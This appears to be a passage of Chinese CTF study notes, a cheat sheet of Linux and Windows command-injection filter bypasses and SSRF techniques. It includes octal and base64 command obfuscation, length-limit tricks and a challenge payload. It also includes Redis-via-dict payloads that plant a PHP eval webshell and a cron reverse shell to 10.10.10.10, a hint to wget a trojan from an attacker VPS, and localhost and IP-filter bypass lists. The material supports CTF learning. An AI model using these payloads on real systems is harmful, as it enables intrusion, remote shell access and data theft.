Â%C2%C3%82
Ã%C3%C3%83
Ä%C4%C3%84
Å%C5%C3%85
Æ%C6%C3%86
Ç%C7%C3%87
È%C8%C3%88
É%C9%C3%89
Ê%CA%C3%8A
Ë%CB%C3%8B
Ì%CC%C3%8C
Í%CD%C3%8D
Î%CE%C3%8E
Ï%CF%C3%8F
Ð%D0%C3%90
Ñ%D1%C3%91
Ò%D2%C3%92
Ó%D3%C3%93
Ô%D4%C3%94
Õ%D5%C3%95
Ö%D6%C3%96
×%D7%C3%97
Ø%D8%C3%98
Ù%D9%C3%99
Ú%DA%C3%9A
Û%DB%C3%9B
Ü%DC%C3%9C
Ý%DD%C3%9D
Þ%DE%C3%9E
ß%DF%C3%9F
à%E0%C3%A0
á%E1%C3%A1
â%E2%C3%A2
ã%E3%C3%A3
ä%E4%C3%A4
å%E5%C3%A5
æ%E6%C3%A6
ç%E7%C3%A7
è%E8%C3%A8
é%E9%C3%A9
ê%EA%C3%AA
ë%EB%C3%AB
ì%EC%C3%AC
í%ED%C3%AD
î%EE%C3%AE
ï%EF%C3%AF
ð%F0%C3%B0
ñ%F1%C3%B1
ò%F2%C3%B2
ó%F3%C3%B3
ô%F4%C3%B4
õ%F5%C3%B5
ö%F6%C3%B6
÷%F7%C3%B7
ø%F8%C3%B8
ù%F9%C3%B9
ú%FA%C3%BA
û%FB%C3%BB
ü%FC%C3%BC
ý%FD%C3%BD
þ%FE%C3%BE
ÿ%FF%C3%BF

6.linux命令绕过

shell
识点:linux中使用$'xxx'(xxx为字符的八进制)的形式可以执行任意代码 $'\154\163' //执行ls $'\143\141\164'<$'\57\146\154\141\147' // cat</flag

空格绕过

$IFS $IFS$1 ${IFS} $IFS$9 < 比如cat<a.tct:表示cat a.txt <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 %09 //php环境下

管道符

; //前面和后面命令都要执行,无论前面真假 | //直接执行后面的语句 || //如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 & //前面和后面命令都要执行,无论前面真假 && //如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

命令拼接

a=who b=ami $a$b //输出whoami q=l; w=s; e=" -al"; $q$w$e //执行ls -al命令 a=c;b=at;c=fl;d=ag; $a$b $c$d //cat flag

通配符

//执行命令 cat flag /???/?[a]''[t] ?''?''?''?'' /???/?[a][t] ?''?''?''?'' cat f* cat fl[abc]g //匹配[abc]中的任何一个 cat f[a-z]ag //匹配a-z范围的任何字符 利用正则:比如要读取etc/passwd cat /???/?????? cat /???/pass* cat /etc$u/passwd //变量u未定义,则为空

新姿势:Linux 环境变量

例题

<?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } } ?>

这次限制payload长度在65以内,上题我们payload达到99的长度,所以我们适当减少一下,我们就不取www-data中的at,只取a进行匹配,好家伙那我上题还想半天构造数字2(太菜了),尝试构造如下

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.??? 但发现长度是66还是超了,接着我们把${#}去掉,也是可以的,最终payload如下: code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

翻大佬博客时发现的姿势:

echo ${PATH} #/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin echo ${PATH:1:9} #/usr/local ${PATH:5:1}${PATH:2:1} #拼接后是ls,执行命令

image-20210421181825782

命令执行相关bash内置变量介绍

$PATH

用途:可执行文件的搜索路径。 用例:echo $PATH (路径通常是bin结尾)

要理解$PATH先来了解一下 bash中输入一个命令 计算机的处理过程

当输入一个命令时 Bash会自动生成一张哈希(hash)表 并且在这张哈希表中按照 PATH 变量中所列出的路径来搜索这个可执行命令。路径会存储在环境变量中,而$PATH 变量本身就一个以冒号分隔的目录列表。将目录添加至PATH变量是一种权宜之计。所以当命令脚本退出时 PATH将会恢复命令执行前的值(这是出于安全性的考虑)

当我们进行bash操作时当前目录不可避免地总是在变化的(cd来cd去)而$PATH 里面放置了一些固定的目录,这些目录是不会变化的。这样的话,当我们输入命令时,永远可以保证不会随着自己的位置改变,而导致出乎意料。

$PWD

用途:工作目录(你当前所在的目录) 用例:echo $PWD 题目环境中肯定是/var/www/html

理解了$PATH PWD就很好理解了。这里不再详细赘述,而且就如上图所说,ctf的题目环境下当前所在的目录一定是var/www/html

$RANDOM

用途: 产生随机整数 范围在0 - 32767之间.

用例:echo ${#RANDOM}

首先补充一个知识点:linux中可以用 ${#变量}显示变量的长度

那么该用例的作用就很好懂了:输出一个范围在0~32767之间的随机整数的位数

$SHLVL

用途:SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器 其默认初始值为1

用例 echo $SHLVL

$USER

用途:获取当前用户名

用例: echo ${#USER}

$PHP_VERSION

用途:获取当前php版本

用例:echo ${PHP_VERSION}

其它系统变量
1.$OLDPWD

表示前一个工作目录

2.$HOME

用户的 home 目录,一般是 /home/username。

3.$HOSTNAME

主机名称

4.IFS

内部域分隔符。这个变量用来决定 Bash 在解释字符串时如何识别域,或者单词边界。 $IFS默认为空白(空格, 制表符,和换行符),但这是可以修改的,比如在分析逗号分隔的数据文件时,就可以设置为逗号。

5.BASH

Bash 的二进制程序文件的路径

6.$BASH_VERSION

系统上安装的 Bash 版本号

绕过 ban 位 (常规操作)

wh\o\ami //反斜线绕过 who"a"mi //双引号绕过 whoa'm'i //单引号绕过 whoam``i //反引号绕过 echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码 echo d2hvYW1p|base64 -d|bash //base64绕过,其中d2hvYW1p是whoami的base64编码 `echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令 echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码 //$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt //在没有传入参数的情况下,这些特殊字符默认为空,如下: wh$1oami //不带中括号只能用一个字符在$后面 who$@ami whoa$*mi whoa${66}mi //带中括号能用任意字符,但是字符内必须相同 whoa${hh}mi //不能带符号,会被解析成奇怪的东西

正则 (假设 /bin/cat: test: 是一个目录)

/???/?[a][t] ?''?''?''?'' /???/?at ???? /???/?[a]''[t] ?''?''?''?''

(# 0 1 2 @ * ?)

$# //是传给脚本的参数个数 $0 //是脚本本身的名字 $1 //是传递给该shell脚本的第一个参数 $2 //是传递给该shell脚本的第二个参数 $@ //是传给脚本的所有参数的列表 $* //是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个 $$ //是脚本运行的当前进程ID号 $? //是显示最后命令的退出状态,0表示没有错误,其他表示有错误

env可查看所有环境变量

set可查看本地定义的环境变量

PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

PWD:/var/www/html

USER

HOME:当前用户的主目录

SHLVL:记录多个 Bash 进程实例嵌套深度的累加器,默认恒为1

PHP_VERSION:以7.3.22为例

$?:是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

此处防止渲染失败使用了tab分隔,不过直接复制也不影响命令执行

bash
${PATH:~0}${PATH:~A} 获取字符n(0和字母都代表从最后面数) ${PWD:~0} 获取字符l ${PWD:0} /var/www/html ${PWD:1} var/www/html ${PWD:2:4}(第三位是长度) ar/w ${ # } 获取数字0 ${ #SHLVL }${ ## }${ #? } 获取数字1 ${ PHP_VERSION:~A } 从7.3.22中获取数字2 ${ #IFS }=3 linux下是3,mac里是4 ${ #RANDOM } 获取4或5 ${HOME:${ # }:${ ## }}${PWD::${ #SHLVL }} 获取/ ${USER:~A} 获取a ${HOME:${ #HOSTNAME }:${ #SHLVL }} 获取t ${PWD:${#IFS }:${ #? }} 获取r 构造/bin/rev逆序读取文件 过滤#时 <A;${ HOME::$? }???${ HOME::$? }?????${ RANDOM::$? } ????.??? (让前面报错得到1) /bin/base64

绕过 ban 位之 cat

(1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容 grep 1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file 示例:grep { *??? //读flag.php

内敛执行绕过

666`whoami`666 //bash: 666root666: command not found 666`\whoami`666 //bash: 666root666: command not found //命令执行后的结果在2个666中间 w`f1hgb`ho`f1hgb`am`f1hgb`i //反引号的作用是把括起来的字符当做命令执行 w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行 wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接

命令执行函数绕过(以 system 为例)

system("cat /etc/passwd") <=> "\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd"); <=> (sy.(st).em)("cat /etc/passwd"); <=>还可以用注释方法绕过 "system/*fthgb666*/("cat /etc/passwd);" <=> "system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);" <=> "(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"

简单地绕过长度限制

Linux 中的 > 符号和 >> 符号

(1) 通过 > 来创建文件

(2) 通过 > 将命令结果存入文件中 使用 > 命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入

Linux 中命令换行

在 Linux 中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 \,可以将一条命令写在多行 比如一条命令 cat flag 可以如下表示

root@kali:~# ca\ > t\ > fl\ > ag this is your flag

既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下

root@kali:~# echo "ca\\">cmd root@kali:~# echo "t\\">>cmd root@kali:~# echo " fl\\">>cmd root@kali:~# echo "ag">>cmd root@kali:~# cat cmd ca\ t\ fl\ ag root@kali:~# sh cmd this is your flag

用这种方法可以绕过一些长度限制读取文件内容

利用 ls -t 和 > 以及换行符绕过长度限制执行命令 (文件构造绕过)

linux 中,我们使用 ls -t 命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

root@kali:~/example# touch a root@kali:~/example# touch b root@kali:~/example# touch c root@kali:~/example# ls -t c b a

我们来看看 ls -t>ghtwf01 有什么效果 (开始不存在 ghtwf01 这个文件)

root@kali:~/example# ls -t>ghtwf01 root@kali:~/example# cat ghtwf01 ghtwf01 c b a

这条命令先执行了创建 ghtwf01 文件然后将 ls -t 的执行结果写入 ghtwf01 文件 我们试试用这些方法来执行命令 cat flag

root@kali:~/example# > "ag" root@kali:~/example# > "fl\\" root@kali:~/example# > "t \\" root@kali:~/example# > "ca\\" root@kali:~/example# ls -t 'ca\' 't \' 'fl\' ag flag root@kali:~/example# ls -t > a root@kali:~/example# sh a a: 1: a: not found this is your flag a: 6: flag: not found

读取到了 flag 内容为 this is your flag,无论这个文件里面有不有其它内容都能执行 总而言之文件构造绕过就是如下知识:

linux下可以用 1>a创建文件名为a的空文件 ls -t>test则会将目录按时间排序后写进test文件中 sh命令可以从一个文件中读取命令来执行

反弹 shell 命令比较长就可以用这种方式去绕过长度限制 如果服务器能连外网还可以使用命令 wget 网址 -O shell.php 去执行我们自己 vps 上面的木马文件

无字母数字绕过

Bowu 博客:CTF 之命令执行绕过总结

NPFS 博客:命令执行绕过小技巧

ghtwf01 博客:命令执行漏洞利用及绕过方式总结

羽师傅博客:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

P 神博客:无字母数字 webshell 之提高篇

P 神博客:一些不包含数字和字母的 webshell

Firebasky 博客:无字母数字的命令执行 (ctfshow web 入门 55)

符号与命令

whoami //正常执行 w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常执行 who^ami或wh""o^a^mi 或wh""o^a^mi"//正常执行 但是"wh""o^a^mi"这种在开头就有单引号的情况是不能执行的 (Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常执行 注:可以加无数个"但不能同时连续加2个^符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义
管道符
| //直接执行后面的语句 || //如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 & //前面和后面命令都要执行,无论前面真假 && //如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
set 命令

知识点:用两个 % 括起来的变量,会输出变量的值

set a=1 //设置变量a,值为1 echo a //此时输出结果为"a" echo %a% //此时输出结果为"1"

接下来的进阶利用就是:

set a=who set b=ami %a%%b% //正常执行whoami call %a%%b% //正常执行whoami

所以,上述的符号与命令部分的所有操作,都可以通过 set 来实现,只需要慢慢拼接就 ok

切割字符:

set a=whoami %a:~0% //取出所有字符,所以正常执行命令 %a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行 %a:~0,5% //切割后是whoam,不是系统命令,不能执行

注:上述可以使用减号,和 python 的切割效果差不多

所以,可以考虑的东西就来了:

set a=abc qwe //先自定义 wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功

可以简单地写出 webshell

10.SSRF

1.对于SSRF,127.0.0.1无法使用的情况下,可以考虑0.0.0.0。

php
file协议文件读取: ?url=file://c:/windows/win.ini 端口探测: ?url=127.0.0.1123§ //可使用burpsuit 爆破端口 通过banner辨别是否开放 ?url=dict://127.0.0.1:§123§ //探测的更全 ssrf打ftp: ?url=fTp://username:password@127.0.0.2:21 //账号密码连接 查看key的值 /?url=fTp://username:password@127.0.0.2:21/key ssrf打redis未授权: 写入一句话木马: redis清空缓存文件命令:flushall ?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html ?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php ?url=dict://127.0.0.1:6379/set:shell:"\n\n<?php eval($_POST[a]);?>\n\n" //不可以的话 可以把木马转化为hex 每隔两个加\x \x3C\x3F\x70\x68\x70\x20\x65\x76\x61\x6C\x28\x24\x5F\x50\x4F\x53\x54\x5B\x61\x5D\x29\x3B\x3F\x3E ?url=dict://127.0.0.1:6379/save 写入定时任务: dict://127.0.0.1:6379/config:set:dbfilename:root dict://127.0.0.1:6379/config:set:dir:/var/spool/cron dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n" dict://127.0.0.1:6379/save

1.利用协议

file_get_contents()函数的一个特性,即当PHP的 file_get_contents() 函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)

image-20220427212221005

1.file/local_file

过滤了file://,可以使用file:/,file: ///,file:_///绕过

利用file文件可以直接读取本地文件内容,如下

php
file:///etc/passwd local_file:///etc/passwd

2.dict

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。通过使用dict协议可以获取目标服务器端口上运行的服务版本等信息。

如请求

php
dict://192.168.163.1:3306/info

3.Gopher

Gopher是基于TCP经典的SSRF跳板协议了,原理如下

bash
gopher://127.0.0.1:70/_ + TCP/IP数据(URLENCODE)

其中_可以是任意字符,作为连接符占位

一个示例

yaml
GET /?test=123 HTTP/1.1 Host: 127.0.0.1:2222 Pragma: no-cache Cache-Control: no-cache DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close

URL编码后

perl
%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a

测试

perl
curl gopher://127.0.0.1:2222/_%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a -> HTTP/1.1 200 OK Host: 127.0.0.1:2222 Date: Tue, 26 May 2020 03:53:05 GMT Connection: close X-Powered-By: PHP/7.3.15-3 Content-type: text/html; charset=UTF-8 123

所以在SSRF时利用gopher协议我们就可以构造任意TCP数据包发向内网了

4. @绕过

URL的完整格式是

[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

所以你访问

> <a href=”http://baidu.com@1.1.1.1″”>http://baidu.com@1.1.1.1

> http://1.1.1.1

效果是一样的,因为解析的本来就是@后面的服务器地址。

5. 进制绕过

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

  • ^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
  • ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
  • ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001
  • 合并后两位:1.1.278 / 1.1.755
  • 合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。

访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

这里可以参考 SSRF-Lab advance 的第一题的。

源代码

if (preg_match('#^https?://#i', $handler) !== 1) { echo "Wrong scheme! You can only use http or https!"; die(); } else if (preg_match('#^https?://10.0.0.3#i', $handler) === 1) { echo "Restricted area!"; die(); }

php 代码中通过正则对输入的 IP 进行了过滤。

众所周知,IP 地址是由四个字节组成的,一旦包含了小数点,就必须考虑到大小端表示,因为这个会影响 IP 地址的解析。不过好在所有的网络地址都是大端表示法,只需要注意这一点即可,下面我们介绍 IP 地址的表达方式。

字符串: 10.0.0.3 二进制: 00001010 . 00000000 . 00000000 . 00000011 十六进制: 0A.00.00.03 整数: 167772163

这些表达方式都能被curl命令解析为正确的IP地址,之后如果我们要访问的IP地址被简单粗暴地过滤了就可以试试这种方法。除了上面的表达方式之外,还可以用 16 进制0x0A000003表示IP地址,还有一个很少人知道的绕过小姿势,就是用 8 进制代替 10 进制来表示 IP 地址。在计算机的世界里,一旦在20前面加个0就会变成8进制,比如http://01200000003实际上还是http://10.0.0.3。上面两个表达方式,PHP 的 curl 模块能解析出来。

十六进制: http://0x0A.0x00.0x00.0x03 八进制: http://012.00.00.03 八进制溢出:http://265.0.0.3

6. 用句号替换 "."

7. xip.io 和 xip.name 绕过

  • 泛域名解析,无需配置,将自定义的任何域名解析到指定的IP地址。假设你的IP地址是10.0.0.1,你只需使用前缀域名+IP地址+xip.io即可完成相应自定义域名解析。
10.0.0.1.xip.io # 解析到 10.0.0.1 www.10.0.0.2.xip.io # www 子域解析到 10.0.0.2 mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3 foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4

xip.name 在使用上与xip.io一致

10.0.0.1.xip.name # 解析到 10.0.0.1 www.10.0.0.2.xip.name # www 子域解析到 10.0.0.2 mysite.10.0.0.3.xip.name # mysite 子域解析到 10.0.0.3 foo.bar.10.0.0.4.xip.name # foo.bar 子域解析到 10.0.0.4

8. DNS 重绑

这种绕过方式还是很有效的,HackTheBox 上有一道 CTF 题目就是 DNS 重绑的。

HackTheBox-baby-CachedView | 芜风

DNS 重绑的话,原理如图所示

image

工具网站如下 https://lock.cmpxchg8b.com/rebinder.html

简单叙述一下逻辑:

1.判定你给的 IP 或者域名解析后的 IP 是否在黑名单中 2.若在,退出报错 3.若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块

所以思路很简单:你只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换。

效果类比:你访问wwfcww.xyz这个域名,第一次解析的 IP 是 192.168.0.1;而第二次解析的IP是 127.0.0.1,如此一来即可进行 SSRF 攻击。

9.127.0.0.1绕过

php
http://localhost/ http://0/ http://[0:0:0:0:0:ffff:127.0.0.1]/ http://[::]:80/ http://127。0。0。1/ http://①②⑦.⓪.⓪.① http://127.1/ http://127.00000.00000.001/ http://[::1] http://[::ffff:7f00:1] http://[::ffff:127.0.0.1] http://127.1 http://127.0.1 http://0:80
php
<?php $ip = '127.0.0.1'; $ip = explode('.',$ip); $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ; if($r < 0) { $r += 4294967296; } echo "十进制:"; // 2130706433 echo $r; echo "八进制:"; // 0177.0.0.1 echo decoct($r); echo "十六进制:"; // 0x7f.0.0.1 echo dechex($r); ?>
利用302跳转绕过内网IP

网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:

当我们访问:http://127.0.0.1.xip.io/flag.php 时,实际上访问的是http://127.0.0.1/1.php 。像这种网址还有http://nip.io,http://sslip.io

这个我在自己的服务器上没试成功,不知道为什么

wget命令

wget命令是Linux系统用于从Web下载文件的命令行工具,支持 HTTP、HTTPS及FTP协议下载文件,而且wget还提供了很多选项,例如下载多个文件、后台下载,使用代理等等

嵌入式 Wget使用一点方法_skdkjzz的博客-CSDN博客

post请求

Wget默认发送Get请求,通过指定参数--post-dataor --post-file 这两个选项

e.g wget--post-data "aaaa" http://127.0.0.1:8333/test.php

​ wget--post-data "user=foo" http://127.0.0.1:8333/test.php

​ wget–post-file post_file http://127.0.0.1:8333/test.php

head请求

wget --debug--spider http://127.0.0.1:8333/test.php

​ --spider并不下载文件,通过head请求服务器,获取web服务器响应

–no-cache禁用缓存

e.g wget–no-cache http://127.0.0.1:8333/test.php

​ 请求数据包头部Pragma

,不使用缓存,http1.1加上Cache-Control: no-cache, must-revalidate

–referer使用referer

Referrer主要用户点击的上一个页面,一般可以用做防盗链技术,防盗链可以在url后面加一个key=value加密字段,或者使用特定referer字段。

e.g wget–debug –referer www.baidu.com http://127.0.0.1:8333/test.php

显示wget帮助和版本信息

Wget –v or wget –h

–e 就是执行命令

e.g wget-e "postdata=111111111" http://localhost:8333/test.php

这种形式和wget –post-data=”11111111” http://localhost:8333/test.php是相同的。

logfile (-o)把debug信息输出到文件

wget http://localhost:8333/test.php -ologfile

referer设置

wget --debug --referer "www.baidu.com/dsadsa" www.baidu.com/index.html

wget - 简书 (jianshu.com)

用法: wget [选项]... [URL]...

长选项所必须的参数在使用短选项时也是必须的。

启动:

参数功能
-V, --version显示 Wget 的版本信息并退出。
-h, --help打印此帮助。
-b, --background启动后转入后台。
-e, --execute=COMMAND运行一个“.wgetrc”风格的命令。

日志和输入文件:

参数功能
-o, --output-file=FILE将日志信息写入 FILE。
-a, --append-output=FILE将信息添加至 FILE。
-d, --debug打印大量调试信息。
-q, --quiet安静模式 (无信息输出)。
-v, --verbose详尽的输出 (此为默认值)。
-nv, --no-verbose关闭详尽输出,但不进入安静模式。
--report-speed=TYPEOutput bandwidth as TYPE. TYPE can be bits.
-i, --input-file=FILE下载本地或外部 FILE 中的 URLs。
-F, --force-html把输入文件当成 HTML 文件。
-B, --base=URL解析与 URL 相关的HTML 输入文件 (由 -i -F 选项指定)。
--config=FILESpecify config file to use.

下载:

参数功能
-t, --tries=NUMBER设置重试次数为 NUMBER (0 代表无限制)。
--retry-connrefused即使拒绝连接也是重试。
-O, --output-document=FILE将文档写入 FILE。
-nc, --no-clobberskip downloads that would download to existing files (overwriting them).
-c, --continue断点续传下载文件。
--progress=TYPE选择进度条类型。
-N, --timestamping只获取比本地文件新的文件。
--no-use-server-timestamps不用服务器上的时间戳来设置本地文件。
-S, --server-response打印服务器响应。
--spider不下载任何文件。
-T, --timeout=SECONDS将所有超时设为 SECONDS 秒。
--dns-timeout=SECS设置 DNS 查寻超时为 SECS 秒。
--connect-timeout=SECS设置连接超时为 SECS 秒。
--read-timeout=SECS设置读取超时为 SECS 秒。
-w, --wait=SECONDS等待间隔为 SECONDS 秒。
--waitretry=SECONDS在获取文件的重试期间等待 1..SECONDS 秒。
--random-wait获取多个文件时,每次随机等待间隔0.5WAIT...1.5WAIT 秒。
--no-proxy禁止使用代理。
-Q, --quota=NUMBER设置获取配额为 NUMBER 字节。
--bind-address=ADDRESS绑定至本地主机上的 ADDRESS (主机名或是 IP)。
